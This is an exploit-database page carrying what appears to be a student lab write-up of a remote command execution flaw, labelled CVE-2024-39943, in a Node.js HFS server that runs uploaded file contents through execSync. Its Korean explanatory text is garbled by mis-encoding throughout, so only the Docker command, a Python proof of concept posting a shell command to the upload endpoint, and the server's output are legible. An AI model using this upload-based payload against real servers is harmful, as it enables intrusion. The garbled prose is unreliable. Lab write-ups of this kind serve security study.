Share
## https://sploitus.com/exploit?id=C42F1860-1325-5A0B-AED3-AA8090A857A4
# Node.js HFS λͺ
λ Ήμ΄ μ€ν μ·¨μ½μ (CVE-2024-39943)
>νμ΄νΈν μ€μΏ¨ 3κΈ° β λ
Έμ λ―Ό ([@JenmrR](https://github.com/JenmrR))
---
## μμ½
Node.js κΈ°λ° HFS μλ² νκ²½μμ, μ
λ‘λλ νμΌμ λ΄μ©μ `child_process.execSync()`λ‘ μ€ννλ μ·¨μ½μ μ΄ μ‘΄μ¬νλ€.
곡격μλ νμΌ μ
λ‘λ κΈ°λ₯μ ν΅ν΄ OS λͺ
λ Ήμ΄λ₯Ό μ§μ μ€νν μ μμΌλ©°, μλ² λ΄λΆ λͺ
λ Ήμ΄ κ²°κ³Όλ₯Ό νμΈνκ±°λ μμ€ν
μ μ μ΄ν μ μλ€.
μ΄λ CVE-2024-39943μ ν΄λΉνλ μ·¨μ½μ μΌλ‘, λͺ
λ Ήμ΄ μ£Όμ
(Remote Code Execution)κ³Ό λμΌν μμ€μ μνμ λ°μμν¨λ€.
---
## νκ²½ κ΅¬μ± λ° μ€ν
1. Docker νκ²½μ ν΅ν΄ μλ² μ€ν
2. μλ²λ `/upload` κ²½λ‘λ‘ νμΌ μ
λ‘λλ₯Ό μμ νλ©°, μ
λ‘λλ νμΌ λ΄μ©μ κ·Έλλ‘ λͺ
λ Ήμ΄λ‘ μ€ν
3. 곡격μλ μ
λ‘λλ₯Ό ν΅ν΄ RCE κ°λ₯
### μ€ν νλ¦
```bash
$ sudo docker-compose up --build -d
```
```bash
$ python3 poc.py
```
### poc.py
```python
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```
---
## κ²°κ³Ό
**PoC μ€ν ν μλ² μλ΅:**
```
Executed:
Hello_From_Hacked_Server
```

---
## μ 리
- λ³Έ μ·¨μ½μ μ μΈλΆ μ
λ ₯μ OS λͺ
λ Ήμ΄λ‘ μ€νν κ²½μ° λ°μνλ μ νμ μΈ RCE(Remote Command Execution) μ·¨μ½μ μ΄λ€.
- μ
λ‘λλ νμΌ λ΄μ©μ μ§μ `execSync()`λ‘ μ€ννλ λ°©μμ μ¬κ°ν 보μ μνμ μ λ°νλ€.
- μ¬μ©μ μ
λ ₯μ νμ κ²μ¦ν΄μΌ νλ©°, μλ² λ΄μμ μ§μ μ€ννμ§ μμμΌ νλ€.
---